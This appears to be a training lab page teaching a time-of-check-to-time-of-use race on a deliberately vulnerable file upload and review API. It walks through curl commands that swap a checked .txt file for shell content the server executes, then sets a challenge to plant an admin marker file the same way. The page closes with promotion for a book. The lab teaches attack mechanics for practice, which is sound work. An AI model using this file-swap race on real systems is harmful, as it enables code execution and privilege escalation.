TOCTOU
A file review system lets you submit a file, checks it, then reads it. Between the check and the read, the file can be swapped. You submit a harmless file. You swap it for a dangerous one. The system trusts its earlier check.
The rule: the system allows uploading only .txt files. But it enforces this on the check, not the read. Your job is to sneak a .sh file past the check and have the server execute it.
Test
Copy these. Run them. Read what comes back.
Step 1 · Look at the review system
The endpoint describes itself. Read the contract carefully.
curl -s "{LAB_API_BASE}/api/11/info"What you'll see:
{
"upload_endpoint": "/api/11/upload",
"review_endpoint": "/api/11/review",
"allowed_types": [".txt"],
"delay_ms": 500,
"note": "files are checked on upload, then re-read on review"
}Two endpoints. Upload takes a file. Review reads it. The check happens on upload. The review happens 500 milliseconds later. Between them — that window is the whole attack.
Step 2 · Upload a harmless file
Upload a file that passes the check. Note the path it returns.
echo "harmless content" > report.txt
curl -s -X POST "{LAB_API_BASE}/api/11/upload" \
-F "file=@report.txt"What you'll see:
{
"ok": true,
"path": "/uploads/report.txt",
"check": "passed"
}Accepted. It's a .txt file. The check passed.
Step 3 · Start a review, then swap the file
Start a review of report.txt. While the server is waiting (it delays 500ms before reading), upload a new file to the same path, but with .sh content.
# start the review in the background
curl -s "{LAB_API_BASE}/api/11/review?file=report.txt" &
# while the review sleeps, swap the file
sleep 0.2
printf '#!/bin/sh\necho HL{t0ct0u_f1l3_sw4p}\n' > report.txt
curl -s -X POST "{LAB_API_BASE}/api/11/upload" \
-F "file=@report.txt" > /dev/null
waitWhat you'll see:
{
"ok": true,
"file": "report.txt",
"review": "output: HL{t0ct0u_f1l3_sw4p}"
}The file was a .txt when the check ran. It was a .sh when the read ran. The server executed it. That is time-of-check to time-of-use: the check and the use looked at different things.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
The final flag isn't in the first swap. It's in a second file the review system keeps at /api/11/admin/flag. That endpoint normally requires an admin file to exist. You can create one — using the same TOCTOU trick, this time to place a file the server recognizes as an admin marker.
Use the same swap: start a review, then overwrite the target file with content that begins with ROLE: admin. Then call /api/11/admin/flag. The flag is in the response.
Solved.
You exploited the gap between check and use. Read why it happened and how to prevent it — in Lesson 11.
Read Lesson 11 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 11 — TOCTOU
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →